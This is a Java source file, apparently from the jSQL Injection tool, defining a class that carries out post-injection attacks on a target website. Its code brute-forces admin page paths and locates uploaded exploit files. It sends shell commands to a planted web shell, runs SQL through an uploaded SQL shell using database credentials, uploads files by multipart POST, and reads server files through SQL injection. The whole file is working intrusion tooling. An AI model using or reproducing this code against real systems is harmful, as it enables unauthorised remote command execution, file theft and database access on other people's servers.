View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    * 
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   ******************************************************************************/
11  package com.jsql.model.accessible;
12  
13  import com.jsql.model.InjectionModel;
14  import com.jsql.model.accessible.vendor.*;
15  import com.jsql.model.bean.database.MockElement;
16  import com.jsql.model.bean.util.Header;
17  import com.jsql.model.bean.util.Interaction;
18  import com.jsql.model.bean.util.Request;
19  import com.jsql.model.exception.JSqlException;
20  import com.jsql.model.suspendable.SuspendableGetRows;
21  import com.jsql.util.ConnectionUtil;
22  import com.jsql.util.LogLevelUtil;
23  import org.apache.commons.lang3.StringUtils;
24  import org.apache.logging.log4j.LogManager;
25  import org.apache.logging.log4j.Logger;
26  
27  import java.io.File;
28  import java.io.IOException;
29  import java.io.InputStream;
30  import java.net.URI;
31  import java.net.URLEncoder;
32  import java.net.http.HttpHeaders;
33  import java.net.http.HttpRequest;
34  import java.net.http.HttpRequest.BodyPublishers;
35  import java.net.http.HttpResponse;
36  import java.net.http.HttpResponse.BodyHandlers;
37  import java.nio.charset.StandardCharsets;
38  import java.nio.file.Files;
39  import java.nio.file.Paths;
40  import java.time.Duration;
41  import java.util.*;
42  import java.util.concurrent.CompletionService;
43  import java.util.concurrent.ExecutionException;
44  import java.util.concurrent.ExecutorCompletionService;
45  import java.util.concurrent.ExecutorService;
46  import java.util.function.BinaryOperator;
47  import java.util.regex.Pattern;
48  
49  /**
50   * Resource access object.
51   * Get information from file system, commands, webpage.
52   */
53  public class ResourceAccess {
54      
55      private static final Logger LOGGER = LogManager.getRootLogger();
56  
57      /**
58       * True if admin page should stop, false otherwise.
59       */
60      private boolean isSearchAdminStopped = false;
61      
62      /**
63       * True if scan list should stop, false otherwise.
64       */
65      private boolean isScanStopped = false;
66  
67      /**
68       * True if ongoing file reading must stop, false otherwise.
69       * If true any new file read is cancelled at start.
70       */
71      private boolean isSearchFileStopped = false;
72  
73      /**
74       * List of ongoing jobs.
75       */
76      private final List<CallableFile> callablesReadFile = new ArrayList<>();
77      private final InjectionModel injectionModel;
78      private final ExploitSqlite exploitSqlite;
79      private final ExploitMysql exploitMysql;
80      private final ExploitOracle exploitOracle;
81      private final ExploitPostgres exploitPostgres;
82      private final ExploitHsqldb exploitHsqldb;
83      private final ExploitH2 exploitH2;
84      private final ExploitDerby exploitDerby;
85  
86      // compatible cross-platform win+linux (spaces around plus sign required)
87      public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
88      public static final String WEB_CONFIRM_RESULT = "133717331";
89      public static final String SQL_CONFIRM_CMD = "select 1337";
90      public static final String SQL_CONFIRM_RESULT = "| 1337 |";
91  
92      public static final String SQL_DOT_PHP = "sql.php";
93      public static final String EXPLOIT_DOT_UPL = "exploit.upl";
94      public static final String EXPLOIT_DOT_WEB = "exploit.web";
95      public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
96      public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
97  
98      public static final String LOID_NOT_FOUND = "Exploit loid not found";
99      public static final String ADD_LOID = "loid#create";
100     public static final String WRITE_LOID = "loid#write";
101     public static final String READ_LOID = "loid#read";
102 
103     public static final String DROP_FUNC = "func#drop";
104     public static final String ADD_FUNC = "body#add-func";
105     public static final String RUN_FUNC = "body#run-func";
106     public static final String BODY_CONFIRM = "body#confirm";
107     public static final String UDF_RUN_CMD = "udf#run-cmd";
108 
109     public static final String TBL_CREATE = "tbl#create";
110     public static final String TBL_FILL = "tbl#fill";
111     public static final String TBL_DUMP = "tbl#dump";
112     public static final String TBL_DROP = "tbl#drop";
113     public static final String TBL_READ = "tbl#read";
114 
115     public static final String FILE_READ = "file#read";
116 
117     // TODO should redirect error directly to default output
118     public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
119 
120     public ResourceAccess(InjectionModel injectionModel) {
121         this.injectionModel = injectionModel;
122         this.exploitSqlite = new ExploitSqlite(injectionModel);
123         this.exploitMysql = new ExploitMysql(injectionModel);
124         this.exploitOracle = new ExploitOracle(injectionModel);
125         this.exploitPostgres = new ExploitPostgres(injectionModel);
126         this.exploitHsqldb = new ExploitHsqldb(injectionModel);
127         this.exploitH2 = new ExploitH2(injectionModel);
128         this.exploitDerby = new ExploitDerby(injectionModel);
129     }
130 
131     /**
132      * Check if every page in the list responds 200 Success.
133      * @param pageNames    List of admin pages to test
134      */
135     public int createAdminPages(String urlInjection, List<String> pageNames) {
136         var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
137         matcher.find();
138         String urlProtocol = matcher.group(1);
139         String urlWithoutProtocol = matcher.group(3);
140 
141         List<String> folderSplits = new ArrayList<>();
142 
143         // Hostname only
144         if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
145             urlWithoutProtocol = "/dummy";
146         }
147         String[] splits = urlWithoutProtocol.split("/", -1);
148         String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
149         for (String folderName: folderNames) {
150             folderSplits.add(folderName +"/");
151         }
152 
153         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage");
154         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
155 
156         var urlPart = new StringBuilder();
157         for (String segment: folderSplits) {
158             urlPart.append(segment);
159             for (String pageName: pageNames) {
160                 taskCompletionService.submit(
161                     new CallableHttpHead(
162                         urlProtocol + urlPart + pageName,
163                         this.injectionModel,
164                         "check:page"
165                     )
166                 );
167             }
168         }
169 
170         var nbAdminPagesFound = 0;
171         int submittedTasks = folderSplits.size() * pageNames.size();
172         int tasksHandled;
173         for (
174             tasksHandled = 0
175             ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
176             ; tasksHandled++
177         ) {
178             nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
179         }
180 
181         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
182         this.isSearchAdminStopped = false;
183         this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
184 
185         return nbAdminPagesFound;
186     }
187 
188     public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
189         int nbAdminPagesFoundFixed = nbAdminPagesFound;
190         
191         try {
192             CallableHttpHead currentCallable = taskCompletionService.take().get();
193             if (currentCallable.isHttpResponseOk()) {
194                 var request = new Request();
195                 request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
196                 request.setParameters(currentCallable.getUrl());
197                 this.injectionModel.sendToViews(request);
198 
199                 nbAdminPagesFoundFixed++;
200                 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
201             }
202         } catch (InterruptedException e) {
203             LOGGER.log(LogLevelUtil.IGNORE, e, e);
204             Thread.currentThread().interrupt();
205         } catch (ExecutionException e) {
206             LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
207         }
208         return nbAdminPagesFoundFixed;
209     }
210 
211     public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
212         var result = String.format(
213             "Searched %s/%s page%s: %s found",
214             tasksHandled,
215             submittedTasks,
216             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
217             nbAdminPagesFound
218         );
219         
220         if (nbAdminPagesFound > 0) {
221             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
222         } else {
223             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
224         }
225     }
226 
227     public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
228         String urlExploitFixed = urlExploit;
229         if (!urlExploitFixed.isEmpty()) {
230             urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
231         }
232         String url = urlExploitFixed;
233         if (StringUtils.isEmpty(url)) {
234             url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase();
235         }
236         String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
237         String urlProtocol;
238         if ("/".equals(urlWithoutProtocol)) {
239             urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
240         } else {
241             urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
242         }
243 
244         List<String> directoryNames = new ArrayList<>();
245         String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
246         if (urlWithoutFileName.split("/").length == 0) {
247             directoryNames.add("/");
248         }
249         for (String directoryName: urlWithoutFileName.split("/")) {
250             directoryNames.add(directoryName +"/");
251         }
252         String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
253         if (urlSuccess != null) {
254             urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
255         } else {
256             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
257         }
258         return urlSuccess;
259     }
260 
261     private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
262         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetExploitUrl");
263         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
264         var urlPart = new StringBuilder();
265 
266         for (String segment: directoryNames) {
267             urlPart.append(segment);
268             taskCompletionService.submit(
269                 new CallableHttpHead(
270                     urlProtocol + urlPart + filename,
271                     this.injectionModel,
272                     "xplt#confirm-url"
273                 )
274             );
275         }
276 
277         String urlSuccess = null;
278         int submittedTasks = directoryNames.size();
279         for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
280             try {
281                 CallableHttpHead currentCallable = taskCompletionService.take().get();
282                 if (currentCallable.isHttpResponseOk()) {
283                     urlSuccess = currentCallable.getUrl();
284                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
285                     break;
286                 }
287             } catch (InterruptedException e) {
288                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
289                 Thread.currentThread().interrupt();
290             } catch (ExecutionException e) {
291                 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
292             }
293         }
294 
295         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
296         return urlSuccess;
297     }
298 
299     public String callCommand(String urlCommand) {
300         return this.callCommand(urlCommand, false);
301     }
302 
303     public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
304         String pageSource;
305         try {
306             pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand, isConnectIssueIgnored);
307         } catch (Exception e) {
308             pageSource = StringUtils.EMPTY;
309         }
310         
311         var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
312         regexSearch.find();
313 
314         String result;
315         // IllegalStateException #1544: catch incorrect execution
316         try {
317             result = regexSearch.group(1);
318         } catch (IllegalStateException e) {
319             result = StringUtils.EMPTY;  // fix return null from regex
320             if (!isConnectIssueIgnored) {
321                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
322             }
323         }
324         return result;
325     }
326     
327     /**
328      * Run a shell command on host.
329      * @param command The command to execute
330      * @param uuidShell An unique identifier for terminal
331      * @param urlExploit Web path of the shell
332      */
333     public String runWebShell(String command, UUID uuidShell, String urlExploit) {
334         return this.runWebShell(command, uuidShell, urlExploit, false);
335     }
336     public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
337         String result = this.callCommand(
338             urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
339             isConnectIssueIgnored
340         );
341         if (StringUtils.isBlank(result)) {
342             result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
343         }
344         var request = new Request();  // Unfreeze GUI terminal
345         request.setMessage(Interaction.GET_TERMINAL_RESULT);
346         request.setParameters(uuidShell, result);
347         this.injectionModel.sendToViews(request);
348         return result;
349     }
350 
351     /**
352      * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
353      * @param command SQL request to execute
354      * @param uuidShell Identifier of terminal sending the request
355      * @param urlExploit URL to send SQL request against
356      * @param username Username [optional]
357      * @param password password [optional]
358      */
359     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
360         return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
361     }
362 
363     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
364         String result = this.callCommand(String.format(
365              "%s?q=%s&u=%s&p=%s",
366              urlExploit,
367              URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
368              username,
369              password
370         ));
371             
372         if (result.contains("<SQLr>")) {
373             List<List<String>> listRows = this.parse(result);
374             if (listRows.isEmpty()) {
375                 result = "Result not found: check your credentials or review logs in tab Network\n";
376             } else {
377                 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
378                 result = this.convert(listRows, listFieldsLength);
379             }
380         } else if (result.contains("<SQLm>")) {  // todo deprecated
381             result = result.replace("<SQLm>", StringUtils.EMPTY) +"\n";
382         } else if (result.contains("<SQLe>")) {  // todo deprecated
383             result = result.replace("<SQLe>", StringUtils.EMPTY) +"\n";
384         }
385 
386         if (isResultSentToView) {
387             var request = new Request();  // Unfreeze GUI terminal
388             request.setMessage(Interaction.GET_TERMINAL_RESULT);
389             request.setParameters(uuidShell, result, command);
390             this.injectionModel.sendToViews(request);
391         }
392         return result;
393     }
394 
395     private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
396         var tableText = new StringBuilder("+");
397         for (Integer fieldLength: listFieldsLength) {
398             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
399         }
400         tableText.append("\n");
401         for (List<String> listFields: listRows) {
402             tableText.append("|");
403             var cursorPosition = 0;
404             for (String field: listFields) {
405                 tableText.append(StringUtils.SPACE)
406                     .append(field)
407                     .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
408                     .append(" |");
409                 cursorPosition++;
410             }
411             tableText.append("\n");
412         }
413         tableText.append("+");
414         for (Integer fieldLength: listFieldsLength) {
415             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
416         }
417         tableText.append("\n");
418         return tableText.toString();
419     }
420 
421     private List<Integer> parseColumnLength(List<List<String>> listRows) {
422         List<Integer> listFieldsLength = new ArrayList<>();
423         for (
424             var indexLongestRowSearch = 0;
425             indexLongestRowSearch < listRows.get(0).size();
426             indexLongestRowSearch++
427         ) {
428             int indexLongestRowSearchFinal = indexLongestRowSearch;
429             listRows.sort(
430                 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
431             );
432             listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length());
433         }
434         return listFieldsLength;
435     }
436 
437     private List<List<String>> parse(String result) {
438         List<List<String>> listRows = new ArrayList<>();
439         var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
440         while (rowsMatcher.find()) {
441             String values = rowsMatcher.group(1);
442             var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
443             List<String> listFields = new ArrayList<>();
444             listRows.add(listFields);
445             
446             while (fieldsMatcher.find()) {
447                 String field = fieldsMatcher.group(1);
448                 listFields.add(field);
449             }
450         }
451         return listRows;
452     }
453 
454     public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
455         var crLf = "\r\n";
456         var boundary = "---------------------------4664151417711";
457         
458         var streamData = new byte[streamToUpload.available()];
459         if (streamToUpload.read(streamData) == -1) {
460             throw new JSqlException("Error reading the file");
461         }
462         
463         String headerForm = StringUtils.EMPTY;
464         headerForm += "--"+ boundary + crLf;
465         headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
466         headerForm += "Content-Type: binary/octet-stream"+ crLf;
467         headerForm += crLf;
468 
469         String headerFile = StringUtils.EMPTY;
470         headerFile += crLf +"--"+ boundary +"--"+ crLf;
471 
472         var httpRequest = HttpRequest.newBuilder()
473             .uri(URI.create(url))
474             .timeout(Duration.ofSeconds(15))
475             .POST(BodyPublishers.ofByteArrays(
476                 Arrays.asList(
477                     headerForm.getBytes(StandardCharsets.UTF_8),
478                     Files.readAllBytes(Paths.get(file.toURI())),
479                     headerFile.getBytes(StandardCharsets.UTF_8)
480                 )
481             ))
482             .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
483             .build();
484 
485         var response = this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
486         HttpHeaders httpHeaders = response.headers();
487         String pageSource = response.body();
488 
489         Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
490         msgHeader.put(Header.URL, url);
491         msgHeader.put(Header.HEADER, ConnectionUtil.getHeadersMap(httpRequest.headers()));
492         msgHeader.put(Header.RESPONSE, ConnectionUtil.getHeadersMap(httpHeaders));
493         msgHeader.put(Header.SOURCE, pageSource);
494         msgHeader.put(Header.METADATA_PROCESS, "upl#multipart");
495         var request = new Request();
496         request.setMessage(Interaction.MESSAGE_HEADER);
497         request.setParameters(msgHeader);
498         this.injectionModel.sendToViews(request);
499         return response;
500     }
501     
502     /**
503      * Check if current user can read files.
504      * @return True if user can read file, false otherwise
505      * @throws JSqlException when an error occurs during injection
506      */
507     public boolean isMysqlReadDenied() throws JSqlException {
508         var sourcePage = new String[]{ StringUtils.EMPTY };
509         String resultInjection = new SuspendableGetRows(this.injectionModel).run(
510             this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
511             sourcePage,
512             false,
513             1,
514             MockElement.MOCK,
515             "privilege"
516         );
517 
518         boolean readingIsAllowed = false;
519 
520         if (StringUtils.isEmpty(resultInjection)) {
521             this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
522             var request = new Request();
523             request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
524             this.injectionModel.sendToViews(request);
525         } else if ("false".equals(resultInjection)) {
526             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
527             var request = new Request();
528             request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
529             this.injectionModel.sendToViews(request);
530         } else {
531             var request = new Request();
532             request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
533             this.injectionModel.sendToViews(request);
534             readingIsAllowed = true;
535         }
536         
537         return !readingIsAllowed;
538     }
539 
540     /**
541      * Attempt to read files in parallel by their path from the website using injection.
542      * Reading file needs a FILE right on the server.
543      * The user can interrupt the process at any time.
544      * @param pathsFiles List of file paths to read
545      * @throws JSqlException when an error occurs during injection
546      * @throws InterruptedException if the current thread was interrupted while waiting
547      * @throws ExecutionException if the computation threw an exception
548      */
549     public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
550         if (
551             this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()
552             && this.isMysqlReadDenied()
553         ) {
554             return Collections.emptyList();
555         }
556 
557         var countFileFound = 0;
558         var results = new ArrayList<String>();
559 
560         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile");
561         CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
562 
563         for (String pathFile: pathsFiles) {
564             var callableFile = new CallableFile(pathFile, this.injectionModel);
565             taskCompletionService.submit(callableFile);
566             this.callablesReadFile.add(callableFile);
567         }
568 
569         List<String> duplicate = new ArrayList<>();
570         int submittedTasks = pathsFiles.size();
571         int tasksHandled;
572 
573         for (
574             tasksHandled = 0
575             ; tasksHandled < submittedTasks && !this.isSearchFileStopped
576             ; tasksHandled++
577         ) {
578             var currentCallable = taskCompletionService.take().get();
579             if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
580                 var name = currentCallable.getPathFile().substring(
581                     currentCallable.getPathFile().lastIndexOf('/') + 1
582                 );
583                 String content = currentCallable.getSourceFile();
584                 String path = currentCallable.getPathFile();
585 
586                 var request = new Request();
587                 request.setMessage(Interaction.CREATE_FILE_TAB);
588                 request.setParameters(name, content, path);
589                 this.injectionModel.sendToViews(request);
590 
591                 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
592                     LOGGER.log(
593                         LogLevelUtil.CONSOLE_INFORM,
594                         "Folder exploit candidate: {}",
595                         () -> path.replace(name, StringUtils.EMPTY)
596                     );
597                 }
598 
599                 duplicate.add(path.replace(name, StringUtils.EMPTY));
600                 results.add(content);
601 
602                 countFileFound++;
603             }
604         }
605 
606         // Force ongoing suspendables to stop immediately
607         for (CallableFile callableReadFile: this.callablesReadFile) {
608             callableReadFile.getSuspendableReadFile().stop();
609         }
610         this.callablesReadFile.clear();
611         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
612         this.isSearchFileStopped = false;
613 
614         var result = String.format(
615             "Searched %s/%s file%s: %s found",
616             tasksHandled,
617             submittedTasks,
618             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
619             countFileFound
620         );
621 
622         if (countFileFound > 0) {
623             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
624         } else {
625             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
626         }
627         return results;
628     }
629 
630     public String getResult(String query, String metadata) throws JSqlException {
631         var sourcePage = new String[]{ StringUtils.EMPTY };
632         return new SuspendableGetRows(this.injectionModel).run(
633             query,
634             sourcePage,
635             false,
636             0,
637             MockElement.MOCK,
638             metadata
639         );
640     }
641 
642     public String getResultWithCatch(String query, String metadata) {
643         var sourcePage = new String[]{ StringUtils.EMPTY };
644         try {
645             return new SuspendableGetRows(this.injectionModel).run(
646                 query,
647                 sourcePage,
648                 false,
649                 0,
650                 MockElement.MOCK,
651                 metadata
652             );
653         } catch (JSqlException ignored) {
654             return StringUtils.EMPTY;
655         }
656     }
657 
658     /**
659      * Mark the search of files to stop.
660      * Any ongoing file reading is interrupted and any new file read
661      * is cancelled.
662      */
663     public void stopSearchFile() {
664         this.isSearchFileStopped = true;
665         for (CallableFile callable: this.callablesReadFile) {
666             callable.getSuspendableReadFile().stop();  // force ongoing business to stop immediately
667         }
668     }
669 
670     public void stopSearchAdmin() {
671         this.isSearchAdminStopped = true;
672     }
673 
674 
675     // Getters and setters
676 
677     public ExploitSqlite getExploitSqlite() {
678         return this.exploitSqlite;
679     }
680 
681     public ExploitMysql getExploitMysql() {
682         return this.exploitMysql;
683     }
684 
685     public ExploitOracle getExploitOracle() {
686         return this.exploitOracle;
687     }
688 
689     public ExploitPostgres getExploitPostgres() {
690         return this.exploitPostgres;
691     }
692 
693     public boolean isSearchAdminStopped() {
694         return this.isSearchAdminStopped;
695     }
696     
697     public void setScanStopped(boolean isScanStopped) {
698         this.isScanStopped = isScanStopped;
699     }
700 
701     public boolean isScanStopped() {
702         return this.isScanStopped;
703     }
704 
705     public ExploitHsqldb getExploitHsqldb() {
706         return this.exploitHsqldb;
707     }
708 
709     public ExploitH2 getExploitH2() {
710         return this.exploitH2;
711     }
712 
713     public ExploitDerby getExploitDerby() {
714         return this.exploitDerby;
715     }
716 }